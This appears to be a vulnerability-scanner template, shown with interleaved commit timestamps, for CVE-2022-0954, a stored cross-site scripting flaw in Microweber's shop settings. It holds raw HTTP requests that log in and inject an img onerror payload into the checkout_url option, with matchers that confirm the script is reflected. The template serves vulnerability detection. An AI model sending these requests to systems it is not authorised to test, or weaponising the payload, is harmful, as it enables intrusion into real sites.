2022-07-26 18:09:48 +00:00
id : CVE-2022-0954
2022-07-26 12:44:16 +00:00
info :
2022-07-26 18:03:38 +00:00
name : Microweber - Cross-site Scripting
2022-07-26 12:44:16 +00:00
author : amitj
severity : medium
2022-07-26 18:03:38 +00:00
description : |
Multiple Stored Cross-site Scripting (XSS) Vulnerabilities in Shop's Other Settings, Shop's Autorespond E-mail Settings and Shops' Payments Methods in GitHub repository microweber/microweber prior to 1.2.11.
2022-07-26 12:44:16 +00:00
reference :
- https://github.com/advisories/GHSA-8c76-mxv5-w4g8
- https://huntr.dev/bounties/b99517c0-37fc-4efa-ab1a-3591da7f4d26/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0954
2022-07-27 05:48:08 +00:00
- https://github.com/microweber/microweber/commit/955471c27e671c49e4b012e3b120b004082ac3f7
2022-07-26 12:44:16 +00:00
classification :
2022-07-27 05:48:08 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
cve-id : CVE-2022-0954
2022-07-26 12:44:16 +00:00
cwe-id : CWE-79
2022-07-26 18:06:21 +00:00
metadata :
2022-07-27 05:48:08 +00:00
verified : "true"
2022-07-26 18:03:38 +00:00
tags : cve,cve2022,xss,microweber
2022-07-26 12:44:16 +00:00
requests :
- raw :
2022-07-26 18:03:38 +00:00
- |
2022-07-26 12:44:16 +00:00
POST /api/user_login HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
username={{username}}&password={{password}}
2022-07-26 18:03:38 +00:00
- |
2022-07-26 12:44:16 +00:00
POST /api/save_option HTTP/2
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
Referer : {{BaseURL}}/admin/view:shop/action:options
2022-07-26 18:03:38 +00:00
option_key=checkout_url&option_group=shop&option_value=%22%3E%3CiMg+SrC%3D%22x%22+oNeRRor%3D%22alert(document.domain)%3B%22%3E&module=shop%2Forders%2Fsettings%2Fother
2022-07-26 12:44:16 +00:00
2022-07-26 18:03:38 +00:00
- |
2022-07-26 12:44:16 +00:00
POST /module/ HTTP/2
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
Referer : {{BaseURL}}/admin/view:shop/action:options
module=settings%2Fsystem_settings&id=settings_admin_mw-main-module-backend-settings-admin&class=card-body+pt-3&option_group=shop%2Forders%2Fsettings%2Fother&is_system=1&style=position%3A+relative%3B
2022-07-26 18:03:38 +00:00
2022-07-26 12:44:16 +00:00
cookie-reuse : true
2022-07-26 18:03:38 +00:00
req-condition : true
matchers :
- type : dsl
dsl :
- 'contains(body_2,"true")'
- contains(body_3,'\"><img src=\"x\" onerror=\"alert(document.domain);\">\" placeholder=\"Use default')
- 'contains(all_headers_3,"text/html")'
- 'status_code_3==200'
condition : and